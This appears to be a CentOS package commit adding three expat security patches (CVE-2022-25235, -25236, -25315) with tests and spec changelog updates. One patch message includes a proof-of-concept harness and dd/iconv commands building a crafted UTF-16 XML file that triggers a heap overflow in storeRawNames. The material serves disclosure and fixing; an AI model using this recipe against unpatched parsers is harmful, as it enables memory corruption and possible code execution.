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import expat-2.2.10-12.el9_0

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CentOS Sources 2022-04-05 07:05:50 -04:00 committed by Stepan Oksanichenko
parent 75ddd38220
commit 13e18f5216
4 changed files with 672 additions and 1 deletions
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281
SOURCES/expat-2.2.10-Add-missing-validation-of-encoding.patch Normal file
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@ -0,0 +1,281 @@
From ee2a5b50e7d1940ba8745715b62ceb9efd3a96da Mon Sep 17 00:00:00 2001
From: Sebastian Pipping <sebastian@pipping.org>
Date: Tue, 8 Feb 2022 17:37:14 +0100
Subject: [PATCH 1/5] lib: Drop unused macro UTF8_GET_NAMING
---
expat/lib/xmltok.c | 5 -----
1 file changed, 5 deletions(-)
diff --git a/lib/xmltok.c b/lib/xmltok.c
index a72200e8..3bddf125 100644
--- a/lib/xmltok.c
+++ b/lib/xmltok.c
@@ -98,11 +98,6 @@
+ ((((byte)[1]) & 3) << 1) + ((((byte)[2]) >> 5) & 1)] \
& (1u << (((byte)[2]) & 0x1F)))
-#define UTF8_GET_NAMING(pages, p, n) \
- ((n) == 2 \
- ? UTF8_GET_NAMING2(pages, (const unsigned char *)(p)) \
- : ((n) == 3 ? UTF8_GET_NAMING3(pages, (const unsigned char *)(p)) : 0))
-
/* Detection of invalid UTF-8 sequences is based on Table 3.1B
of Unicode 3.2: http://www.unicode.org/unicode/reports/tr28/
with the additional restriction of not allowing the Unicode
From 3f0a0cb644438d4d8e3294cd0b1245d0edb0c6c6 Mon Sep 17 00:00:00 2001
From: Sebastian Pipping <sebastian@pipping.org>
Date: Tue, 8 Feb 2022 04:32:20 +0100
Subject: [PATCH 2/5] lib: Add missing validation of encoding (CVE-2022-25235)
---
expat/lib/xmltok_impl.c | 8 ++++++--
1 file changed, 6 insertions(+), 2 deletions(-)
diff --git a/lib/xmltok_impl.c b/lib/xmltok_impl.c
index 0430591b..64a3b2c1 100644
--- a/lib/xmltok_impl.c
+++ b/lib/xmltok_impl.c
@@ -69,7 +69,7 @@
case BT_LEAD##n: \
if (end - ptr < n) \
return XML_TOK_PARTIAL_CHAR; \
- if (! IS_NAME_CHAR(enc, ptr, n)) { \
+ if (IS_INVALID_CHAR(enc, ptr, n) || ! IS_NAME_CHAR(enc, ptr, n)) { \
*nextTokPtr = ptr; \
return XML_TOK_INVALID; \
} \
@@ -98,7 +98,7 @@
case BT_LEAD##n: \
if (end - ptr < n) \
return XML_TOK_PARTIAL_CHAR; \
- if (! IS_NMSTRT_CHAR(enc, ptr, n)) { \
+ if (IS_INVALID_CHAR(enc, ptr, n) || ! IS_NMSTRT_CHAR(enc, ptr, n)) { \
*nextTokPtr = ptr; \
return XML_TOK_INVALID; \
} \
@@ -1142,6 +1142,10 @@ PREFIX(prologTok)(const ENCODING *enc, const char *ptr, const char *end,
case BT_LEAD##n: \
if (end - ptr < n) \
return XML_TOK_PARTIAL_CHAR; \
+ if (IS_INVALID_CHAR(enc, ptr, n)) { \
+ *nextTokPtr = ptr; \
+ return XML_TOK_INVALID; \
+ } \
if (IS_NMSTRT_CHAR(enc, ptr, n)) { \
ptr += n; \
tok = XML_TOK_NAME; \
From c85a3025e7a1be086dc34e7559fbc543914d047f Mon Sep 17 00:00:00 2001
From: Sebastian Pipping <sebastian@pipping.org>
Date: Wed, 9 Feb 2022 01:00:38 +0100
Subject: [PATCH 3/5] lib: Add comments to BT_LEAD* cases where encoding has
already been validated
---
expat/lib/xmltok_impl.c | 10 +++++-----
1 file changed, 5 insertions(+), 5 deletions(-)
diff --git a/lib/xmltok_impl.c b/lib/xmltok_impl.c
index 64a3b2c1..84ff35f9 100644
--- a/lib/xmltok_impl.c
+++ b/lib/xmltok_impl.c
@@ -1274,7 +1274,7 @@ PREFIX(attributeValueTok)(const ENCODING *enc, const char *ptr, const char *end,
switch (BYTE_TYPE(enc, ptr)) {
# define LEAD_CASE(n) \
case BT_LEAD##n: \
- ptr += n; \
+ ptr += n; /* NOTE: The encoding has already been validated. */ \
break;
LEAD_CASE(2)
LEAD_CASE(3)
@@ -1343,7 +1343,7 @@ PREFIX(entityValueTok)(const ENCODING *enc, const char *ptr, const char *end,
switch (BYTE_TYPE(enc, ptr)) {
# define LEAD_CASE(n) \
case BT_LEAD##n: \
- ptr += n; \
+ ptr += n; /* NOTE: The encoding has already been validated. */ \
break;
LEAD_CASE(2)
LEAD_CASE(3)
@@ -1522,7 +1522,7 @@ PREFIX(getAtts)(const ENCODING *enc, const char *ptr, int attsMax,
state = inName; \
}
# define LEAD_CASE(n) \
- case BT_LEAD##n: \
+ case BT_LEAD##n: /* NOTE: The encoding has already been validated. */ \
START_NAME ptr += (n - MINBPC(enc)); \
break;
LEAD_CASE(2)
@@ -1734,7 +1734,7 @@ PREFIX(nameLength)(const ENCODING *enc, const char *ptr) {
switch (BYTE_TYPE(enc, ptr)) {
# define LEAD_CASE(n) \
case BT_LEAD##n: \
- ptr += n; \
+ ptr += n; /* NOTE: The encoding has already been validated. */ \
break;
LEAD_CASE(2)
LEAD_CASE(3)
@@ -1779,7 +1779,7 @@ PREFIX(updatePosition)(const ENCODING *enc, const char *ptr, const char *end,
switch (BYTE_TYPE(enc, ptr)) {
# define LEAD_CASE(n) \
case BT_LEAD##n: \
- ptr += n; \
+ ptr += n; /* NOTE: The encoding has already been validated. */ \
pos->columnNumber++; \
break;
LEAD_CASE(2)
From 6a5510bc6b7efe743356296724e0b38300f05379 Mon Sep 17 00:00:00 2001
From: Sebastian Pipping <sebastian@pipping.org>
Date: Tue, 8 Feb 2022 04:06:21 +0100
Subject: [PATCH 4/5] tests: Cover missing validation of encoding
(CVE-2022-25235)
---
expat/tests/runtests.c | 109 +++++++++++++++++++++++++++++++++++++++++
1 file changed, 109 insertions(+)
diff --git a/tests/runtests.c b/tests/runtests.c
index bc5344b1..9b155b82 100644
--- a/tests/runtests.c
+++ b/tests/runtests.c
@@ -5998,6 +5998,105 @@ START_TEST(test_utf8_in_cdata_section_2) {
}
END_TEST
+START_TEST(test_utf8_in_start_tags) {
+ struct test_case {
+ bool goodName;
+ bool goodNameStart;
+ const char *tagName;
+ };
+
+ // The idea with the tests below is this:
+ // We want to cover 1-, 2- and 3-byte sequences, 4-byte sequences
+ // go to isNever and are hence not a concern.
+ //
+ // We start with a character that is a valid name character
+ // (or even name-start character, see XML 1.0r4 spec) and then we flip
+ // single bits at places where (1) the result leaves the UTF-8 encoding space
+ // and (2) we stay in the same n-byte sequence family.
+ //
+ // The flipped bits are highlighted in angle brackets in comments,
+ // e.g. "[<1>011 1001]" means we had [0011 1001] but we now flipped
+ // the most significant bit to 1 to leave UTF-8 encoding space.
+ struct test_case cases[] = {
+ // 1-byte UTF-8: [0xxx xxxx]
+ {true, true, "\x3A"}, // [0011 1010] = ASCII colon ':'
+ {false, false, "\xBA"}, // [<1>011 1010]
+ {true, false, "\x39"}, // [0011 1001] = ASCII nine '9'
+ {false, false, "\xB9"}, // [<1>011 1001]
+
+ // 2-byte UTF-8: [110x xxxx] [10xx xxxx]
+ {true, true, "\xDB\xA5"}, // [1101 1011] [1010 0101] =
+ // Arabic small waw U+06E5
+ {false, false, "\x9B\xA5"}, // [1<0>01 1011] [1010 0101]
+ {false, false, "\xDB\x25"}, // [1101 1011] [<0>010 0101]
+ {false, false, "\xDB\xE5"}, // [1101 1011] [1<1>10 0101]
+ {true, false, "\xCC\x81"}, // [1100 1100] [1000 0001] =
+ // combining char U+0301
+ {false, false, "\x8C\x81"}, // [1<0>00 1100] [1000 0001]
+ {false, false, "\xCC\x01"}, // [1100 1100] [<0>000 0001]
+ {false, false, "\xCC\xC1"}, // [1100 1100] [1<1>00 0001]
+
+ // 3-byte UTF-8: [1110 xxxx] [10xx xxxx] [10xxxxxx]
+ {true, true, "\xE0\xA4\x85"}, // [1110 0000] [1010 0100] [1000 0101] =
+ // Devanagari Letter A U+0905
+ {false, false, "\xA0\xA4\x85"}, // [1<0>10 0000] [1010 0100] [1000 0101]
+ {false, false, "\xE0\x24\x85"}, // [1110 0000] [<0>010 0100] [1000 0101]
+ {false, false, "\xE0\xE4\x85"}, // [1110 0000] [1<1>10 0100] [1000 0101]
+ {false, false, "\xE0\xA4\x05"}, // [1110 0000] [1010 0100] [<0>000 0101]
+ {false, false, "\xE0\xA4\xC5"}, // [1110 0000] [1010 0100] [1<1>00 0101]
+ {true, false, "\xE0\xA4\x81"}, // [1110 0000] [1010 0100] [1000 0001] =
+ // combining char U+0901
+ {false, false, "\xA0\xA4\x81"}, // [1<0>10 0000] [1010 0100] [1000 0001]
+ {false, false, "\xE0\x24\x81"}, // [1110 0000] [<0>010 0100] [1000 0001]
+ {false, false, "\xE0\xE4\x81"}, // [1110 0000] [1<1>10 0100] [1000 0001]
+ {false, false, "\xE0\xA4\x01"}, // [1110 0000] [1010 0100] [<0>000 0001]
+ {false, false, "\xE0\xA4\xC1"}, // [1110 0000] [1010 0100] [1<1>00 0001]
+ };
+ const bool atNameStart[] = {true, false};
+
+ size_t i = 0;
+ char doc[1024];
+ size_t failCount = 0;
+
+ for (; i < sizeof(cases) / sizeof(cases[0]); i++) {
+ size_t j = 0;
+ for (; j < sizeof(atNameStart) / sizeof(atNameStart[0]); j++) {
+ const bool expectedSuccess
+ = atNameStart[j] ? cases[i].goodNameStart : cases[i].goodName;
+ sprintf(doc, "<%s%s><!--", atNameStart[j] ? "" : "a", cases[i].tagName);
+ XML_Parser parser = XML_ParserCreate(NULL);
+
+ const enum XML_Status status
+ = XML_Parse(parser, doc, (int)strlen(doc), /*isFinal=*/XML_FALSE);
+
+ bool success = true;
+ if ((status == XML_STATUS_OK) != expectedSuccess) {
+ success = false;
+ }
+ if ((status == XML_STATUS_ERROR)
+ && (XML_GetErrorCode(parser) != XML_ERROR_INVALID_TOKEN)) {
+ success = false;
+ }
+
+ if (! success) {
+ fprintf(
+ stderr,
+ "FAIL case %2u (%sat name start, %u-byte sequence, error code %d)\n",
+ (unsigned)i + 1u, atNameStart[j] ? " " : "not ",
+ (unsigned)strlen(cases[i].tagName), XML_GetErrorCode(parser));
+ failCount++;
+ }
+
+ XML_ParserFree(parser);
+ }
+ }
+
+ if (failCount > 0) {
+ fail("UTF-8 regression detected");
+ }
+}
+END_TEST
+
/* Test trailing spaces in elements are accepted */
static void XMLCALL
record_element_end_handler(void *userData, const XML_Char *name) {
@@ -6175,6 +6274,14 @@ START_TEST(test_bad_doctype) {
}
END_TEST
+START_TEST(test_bad_doctype_utf8) {
+ const char *text = "<!DOCTYPE \xDB\x25"
+ "doc><doc/>"; // [1101 1011] [<0>010 0101]
+ expect_failure(text, XML_ERROR_INVALID_TOKEN,
+ "Invalid UTF-8 in DOCTYPE not faulted");
+}
+END_TEST
+
START_TEST(test_bad_doctype_utf16) {
const char text[] =
/* <!DOCTYPE doc [ \x06f2 ]><doc/>
@@ -11870,6 +11977,7 @@ make_suite(void) {
tcase_add_test(tc_basic, test_ext_entity_utf8_non_bom);
tcase_add_test(tc_basic, test_utf8_in_cdata_section);
tcase_add_test(tc_basic, test_utf8_in_cdata_section_2);
+ tcase_add_test(tc_basic, test_utf8_in_start_tags);
tcase_add_test(tc_basic, test_trailing_spaces_in_elements);
tcase_add_test(tc_basic, test_utf16_attribute);
tcase_add_test(tc_basic, test_utf16_second_attr);
@@ -11878,6 +11986,7 @@ make_suite(void) {
tcase_add_test(tc_basic, test_bad_attr_desc_keyword);
tcase_add_test(tc_basic, test_bad_attr_desc_keyword_utf16);
tcase_add_test(tc_basic, test_bad_doctype);
+ tcase_add_test(tc_basic, test_bad_doctype_utf8);
tcase_add_test(tc_basic, test_bad_doctype_utf16);
tcase_add_test(tc_basic, test_bad_doctype_plus);
tcase_add_test(tc_basic, test_bad_doctype_star);

139
SOURCES/expat-2.2.10-Prevent-integer-overflow-in-storeRawNames.patch Normal file
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@ -0,0 +1,139 @@
From eb0362808b4f9f1e2345a0cf203b8cc196d776d9 Mon Sep 17 00:00:00 2001
From: Samanta Navarro <ferivoz@riseup.net>
Date: Tue, 15 Feb 2022 11:55:46 +0000
Subject: [PATCH] Prevent integer overflow in storeRawNames
It is possible to use an integer overflow in storeRawNames for out of
boundary heap writes. Default configuration is affected. If compiled
with XML_UNICODE then the attack does not work. Compiling with
-fsanitize=address confirms the following proof of concept.
The problem can be exploited by abusing the m_buffer expansion logic.
Even though the initial size of m_buffer is a power of two, eventually
it can end up a little bit lower, thus allowing allocations very close
to INT_MAX (since INT_MAX/2 can be surpassed). This means that tag
names can be parsed which are almost INT_MAX in size.
Unfortunately (from an attacker point of view) INT_MAX/2 is also a
limitation in string pools. Having a tag name of INT_MAX/2 characters
or more is not possible.
Expat can convert between different encodings. UTF-16 documents which
contain only ASCII representable characters are twice as large as their
ASCII encoded counter-parts.
The proof of concept works by taking these three considerations into
account:
1. Move the m_buffer size slightly below a power of two by having a
short root node <a>. This allows the m_buffer to grow very close
to INT_MAX.
2. The string pooling forbids tag names longer than or equal to
INT_MAX/2, so keep the attack tag name smaller than that.
3. To be able to still overflow INT_MAX even though the name is
limited at INT_MAX/2-1 (nul byte) we use UTF-16 encoding and a tag
which only contains ASCII characters. UTF-16 always stores two
bytes per character while the tag name is converted to using only
one. Our attack node byte count must be a bit higher than
2/3 INT_MAX so the converted tag name is around INT_MAX/3 which
in sum can overflow INT_MAX.
Thanks to our small root node, m_buffer can handle 2/3 INT_MAX bytes
without running into INT_MAX boundary check. The string pooling is
able to store INT_MAX/3 as tag name because the amount is below
INT_MAX/2 limitation. And creating the sum of both eventually overflows
in storeRawNames.
Proof of Concept:
1. Compile expat with -fsanitize=address.
2. Create Proof of Concept binary which iterates through input
file 16 MB at once for better performance and easier integer
calculations:
```
cat > poc.c << EOF
#include <err.h>
#include <expat.h>
#include <stdlib.h>
#include <stdio.h>
#define CHUNK (16 * 1024 * 1024)
int main(int argc, char *argv[]) {
XML_Parser parser;
FILE *fp;
char *buf;
int i;
if (argc != 2)
errx(1, "usage: poc file.xml");
if ((parser = XML_ParserCreate(NULL)) == NULL)
errx(1, "failed to create expat parser");
if ((fp = fopen(argv[1], "r")) == NULL) {
XML_ParserFree(parser);
err(1, "failed to open file");
}
if ((buf = malloc(CHUNK)) == NULL) {
fclose(fp);
XML_ParserFree(parser);
err(1, "failed to allocate buffer");
}
i = 0;
while (fread(buf, CHUNK, 1, fp) == 1) {
printf("iteration %d: XML_Parse returns %d\n", ++i,
XML_Parse(parser, buf, CHUNK, XML_FALSE));
}
free(buf);
fclose(fp);
XML_ParserFree(parser);
return 0;
}
EOF
gcc -fsanitize=address -lexpat -o poc poc.c
```
3. Construct specially prepared UTF-16 XML file:
```
dd if=/dev/zero bs=1024 count=794624 | tr '\0' 'a' > poc-utf8.xml
echo -n '<a><' | dd conv=notrunc of=poc-utf8.xml
echo -n '><' | dd conv=notrunc of=poc-utf8.xml bs=1 seek=805306368
iconv -f UTF-8 -t UTF-16LE poc-utf8.xml > poc-utf16.xml
```
4. Run proof of concept:
```
./poc poc-utf16.xml
```
---
expat/lib/xmlparse.c | 7 ++++++-
1 file changed, 6 insertions(+), 1 deletion(-)
diff --git a/lib/xmlparse.c b/lib/xmlparse.c
index 4b43e613..f34d6ab5 100644
--- a/lib/xmlparse.c
+++ b/lib/xmlparse.c
@@ -2563,6 +2563,7 @@ storeRawNames(XML_Parser parser) {
while (tag) {
int bufSize;
int nameLen = sizeof(XML_Char) * (tag->name.strLen + 1);
+ size_t rawNameLen;
char *rawNameBuf = tag->buf + nameLen;
/* Stop if already stored. Since m_tagStack is a stack, we can stop
at the first entry that has already been copied; everything
@@ -2574,7 +2575,11 @@ storeRawNames(XML_Parser parser) {
/* For re-use purposes we need to ensure that the
size of tag->buf is a multiple of sizeof(XML_Char).
*/
- bufSize = nameLen + ROUND_UP(tag->rawNameLength, sizeof(XML_Char));
+ rawNameLen = ROUND_UP(tag->rawNameLength, sizeof(XML_Char));
+ /* Detect and prevent integer overflow. */
+ if (rawNameLen > (size_t)INT_MAX - nameLen)
+ return XML_FALSE;
+ bufSize = nameLen + (int)rawNameLen;
if (bufSize > tag->bufEnd - tag->buf) {
char *temp = (char *)REALLOC(parser, tag->buf, bufSize);
if (temp == NULL)

228
SOURCES/expat-2.2.10-Protect-against-malicious-namespace-declarations.patch Normal file
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@ -0,0 +1,228 @@
commit 5c47ae80738d0985babf06a023b3845169682064
Author: Tomas Korbar <tkorbar@redhat.com>
Date: Mon Mar 14 10:22:37 2022 +0100
Protect against malicious namespace declarations
diff --git a/lib/xmlparse.c b/lib/xmlparse.c
index 5c3f573..901abbf 100644
--- a/lib/xmlparse.c
+++ b/lib/xmlparse.c
@@ -638,8 +638,7 @@ XML_ParserCreate(const XML_Char *encodingName) {
XML_Parser XMLCALL
XML_ParserCreateNS(const XML_Char *encodingName, XML_Char nsSep) {
- XML_Char tmp[2];
- *tmp = nsSep;
+ XML_Char tmp[2] = {nsSep, 0};
return XML_ParserCreate_MM(encodingName, NULL, tmp);
}
@@ -1253,8 +1252,7 @@ XML_ExternalEntityParserCreate(XML_Parser oldParser, const XML_Char *context,
would be otherwise.
*/
if (parser->m_ns) {
- XML_Char tmp[2];
- *tmp = parser->m_namespaceSeparator;
+ XML_Char tmp[2] = {parser->m_namespaceSeparator, 0};
parser = parserCreate(encodingName, &parser->m_mem, tmp, newDtd);
} else {
parser = parserCreate(encodingName, &parser->m_mem, NULL, newDtd);
@@ -3526,6 +3524,117 @@ storeAtts(XML_Parser parser, const ENCODING *enc, const char *attStr,
return XML_ERROR_NONE;
}
+static XML_Bool
+is_rfc3986_uri_char(XML_Char candidate) {
+ // For the RFC 3986 ANBF grammar see
+ // https://datatracker.ietf.org/doc/html/rfc3986#appendix-A
+
+ switch (candidate) {
+ // From rule "ALPHA" (uppercase half)
+ case 'A':
+ case 'B':
+ case 'C':
+ case 'D':
+ case 'E':
+ case 'F':
+ case 'G':
+ case 'H':
+ case 'I':
+ case 'J':
+ case 'K':
+ case 'L':
+ case 'M':
+ case 'N':
+ case 'O':
+ case 'P':
+ case 'Q':
+ case 'R':
+ case 'S':
+ case 'T':
+ case 'U':
+ case 'V':
+ case 'W':
+ case 'X':
+ case 'Y':
+ case 'Z':
+
+ // From rule "ALPHA" (lowercase half)
+ case 'a':
+ case 'b':
+ case 'c':
+ case 'd':
+ case 'e':
+ case 'f':
+ case 'g':
+ case 'h':
+ case 'i':
+ case 'j':
+ case 'k':
+ case 'l':
+ case 'm':
+ case 'n':
+ case 'o':
+ case 'p':
+ case 'q':
+ case 'r':
+ case 's':
+ case 't':
+ case 'u':
+ case 'v':
+ case 'w':
+ case 'x':
+ case 'y':
+ case 'z':
+
+ // From rule "DIGIT"
+ case '0':
+ case '1':
+ case '2':
+ case '3':
+ case '4':
+ case '5':
+ case '6':
+ case '7':
+ case '8':
+ case '9':
+
+ // From rule "pct-encoded"
+ case '%':
+
+ // From rule "unreserved"
+ case '-':
+ case '.':
+ case '_':
+ case '~':
+
+ // From rule "gen-delims"
+ case ':':
+ case '/':
+ case '?':
+ case '#':
+ case '[':
+ case ']':
+ case '@':
+
+ // From rule "sub-delims"
+ case '!':
+ case '$':
+ case '&':
+ case '\'':
+ case '(':
+ case ')':
+ case '*':
+ case '+':
+ case ',':
+ case ';':
+ case '=':
+ return XML_TRUE;
+
+ default:
+ return XML_FALSE;
+ }
+}
+
/* addBinding() overwrites the value of prefix->binding without checking.
Therefore one must keep track of the old value outside of addBinding().
*/
@@ -3581,6 +3690,29 @@ addBinding(XML_Parser parser, PREFIX *prefix, const ATTRIBUTE_ID *attId,
if (! mustBeXML && isXMLNS
&& (len > xmlnsLen || uri[len] != xmlnsNamespace[len]))
isXMLNS = XML_FALSE;
+
+ // NOTE: While Expat does not validate namespace URIs against RFC 3986
+ // today (and is not REQUIRED to do so with regard to the XML 1.0
+ // namespaces specification) we have to at least make sure, that
+ // the application on top of Expat (that is likely splitting expanded
+ // element names ("qualified names") of form
+ // "[uri sep] local [sep prefix] '\0'" back into 1, 2 or 3 pieces
+ // in its element handler code) cannot be confused by an attacker
+ // putting additional namespace separator characters into namespace
+ // declarations. That would be ambiguous and not to be expected.
+ //
+ // While the HTML API docs of function XML_ParserCreateNS have been
+ // advising against use of a namespace separator character that can
+ // appear in a URI for >20 years now, some widespread applications
+ // are using URI characters (':' (colon) in particular) for a
+ // namespace separator, in practice. To keep these applications
+ // functional, we only reject namespaces URIs containing the
+ // application-chosen namespace separator if the chosen separator
+ // is a non-URI character with regard to RFC 3986.
+ if (parser->m_ns && (uri[len] == parser->m_namespaceSeparator)
+ && ! is_rfc3986_uri_char(uri[len])) {
+ return XML_ERROR_SYNTAX;
+ }
}
isXML = isXML && len == xmlLen;
isXMLNS = isXMLNS && len == xmlnsLen;
diff --git a/tests/runtests.c b/tests/runtests.c
index f03e008..40172d2 100644
--- a/tests/runtests.c
+++ b/tests/runtests.c
@@ -7233,6 +7233,37 @@ START_TEST(test_ns_double_colon_doctype) {
}
END_TEST
+START_TEST(test_ns_separator_in_uri) {
+ struct test_case {
+ enum XML_Status expectedStatus;
+ const char *doc;
+ XML_Char namesep;
+ };
+ struct test_case cases[] = {
+ {XML_STATUS_OK, "<doc xmlns='one_two' />", XCS('\n')},
+ {XML_STATUS_ERROR, "<doc xmlns='one&#x0A;two' />", XCS('\n')},
+ {XML_STATUS_OK, "<doc xmlns='one:two' />", XCS(':')},
+ };
+
+ size_t i = 0;
+ size_t failCount = 0;
+ for (; i < sizeof(cases) / sizeof(cases[0]); i++) {
+ XML_Parser parser = XML_ParserCreateNS(NULL, cases[i].namesep);
+ XML_SetElementHandler(parser, dummy_start_element, dummy_end_element);
+ if (XML_Parse(parser, cases[i].doc, (int)strlen(cases[i].doc),
+ /*isFinal*/ XML_TRUE)
+ != cases[i].expectedStatus) {
+ failCount++;
+ }
+ XML_ParserFree(parser);
+ }
+
+ if (failCount) {
+ fail("Namespace separator handling is broken");
+ }
+}
+END_TEST
+
/* Control variable; the number of times duff_allocator() will successfully
* allocate */
#define ALLOC_ALWAYS_SUCCEED (-1)
@@ -11527,6 +11558,7 @@ make_suite(void) {
tcase_add_test(tc_namespace, test_ns_utf16_doctype);
tcase_add_test(tc_namespace, test_ns_invalid_doctype);
tcase_add_test(tc_namespace, test_ns_double_colon_doctype);
+ tcase_add_test(tc_namespace, test_ns_separator_in_uri);
suite_add_tcase(s, tc_misc);
tcase_add_checked_fixture(tc_misc, NULL, basic_teardown);

25
SPECS/expat.spec
View File

@ -3,7 +3,7 @@
Summary: An XML parser library Summary: An XML parser library
Name: expat Name: expat
Version: %(echo %{unversion} | sed 's/_/./g') Version: %(echo %{unversion} | sed 's/_/./g')
Release: 9%{?dist} Release: 12%{?dist}
Source: https://github.com/libexpat/libexpat/archive/R_%{unversion}.tar.gz#/expat-%{version}.tar.gz Source: https://github.com/libexpat/libexpat/archive/R_%{unversion}.tar.gz#/expat-%{version}.tar.gz
URL: https://libexpat.github.io/ URL: https://libexpat.github.io/
License: MIT License: MIT
@ -14,6 +14,9 @@ Patch1: expat-2.2.10-Prevent-more-integer-overflows.patch
Patch2: expat-2.2.10-Prevent-integer-overflow-on-m_groupSize-in-function.patch Patch2: expat-2.2.10-Prevent-integer-overflow-on-m_groupSize-in-function.patch
Patch3: expat-2.2.10-Detect-and-prevent-troublesome-left-shifts.patch Patch3: expat-2.2.10-Detect-and-prevent-troublesome-left-shifts.patch
Patch4: expat-2.2.10-Detect-and-prevent-integer-overflow-in-XML_GetBuffer.patch Patch4: expat-2.2.10-Detect-and-prevent-integer-overflow-in-XML_GetBuffer.patch
Patch5: expat-2.2.10-Protect-against-malicious-namespace-declarations.patch
Patch6: expat-2.2.10-Add-missing-validation-of-encoding.patch
Patch7: expat-2.2.10-Prevent-integer-overflow-in-storeRawNames.patch
%description %description
This is expat, the C library for parsing XML, written by James Clark. Expat This is expat, the C library for parsing XML, written by James Clark. Expat
@ -46,6 +49,9 @@ Install it if you need to link statically with expat.
%patch2 -p1 -b .CVE-2021-46143 %patch2 -p1 -b .CVE-2021-46143
%patch3 -p1 -b .CVE-2021-45960 %patch3 -p1 -b .CVE-2021-45960
%patch4 -p1 -b .CVE-2022-23852 %patch4 -p1 -b .CVE-2022-23852
%patch5 -p1 -b .CVE-2022-25236
%patch6 -p1 -b .CVE-2022-25235
%patch7 -p1 -b .CVE-2022-25315
sed -i 's/install-data-hook/do-nothing-please/' lib/Makefile.am sed -i 's/install-data-hook/do-nothing-please/' lib/Makefile.am
./buildconf.sh ./buildconf.sh
@ -83,6 +89,23 @@ make check
%{_libdir}/lib*.a %{_libdir}/lib*.a
%changelog %changelog
* Wed Mar 16 2022 Tomas Korbar <tkorbar@redhat.com> - 2.2.10-12
- Build fix for CVE-2022-25236 in rhel-9.0.0
- Related: CVE-2022-25236
* Mon Mar 14 2022 Tomas Korbar <tkorbar@redhat.com> - 2.2.10-11
- Improve fix for CVE-2022-25236
- Related: CVE-2022-25236
* Mon Feb 28 2022 Tomas Korbar <tkorbar@redhat.com> - 2.2.10-10
- Fix multiple CVEs
- CVE-2022-25236 expat: namespace-separator characters in "xmlns[:prefix]" attribute values can lead to arbitrary code execution
- CVE-2022-25235 expat: malformed 2- and 3-byte UTF-8 sequences can lead to arbitrary code execution
- CVE-2022-25315 expat: integer overflow in storeRawNames()
- Resolves: CVE-2022-25236
- Resolves: CVE-2022-25235
- Resolves: CVE-2022-25315
* Thu Feb 10 2022 Tomas Korbar <tkorbar@redhat.com> - 2.2.10-9 * Thu Feb 10 2022 Tomas Korbar <tkorbar@redhat.com> - 2.2.10-9
- CVE-2022-23852 expat: integer overflow in function XML_GetBuffer - CVE-2022-23852 expat: integer overflow in function XML_GetBuffer
- Resolves: CVE-2022-23852 - Resolves: CVE-2022-23852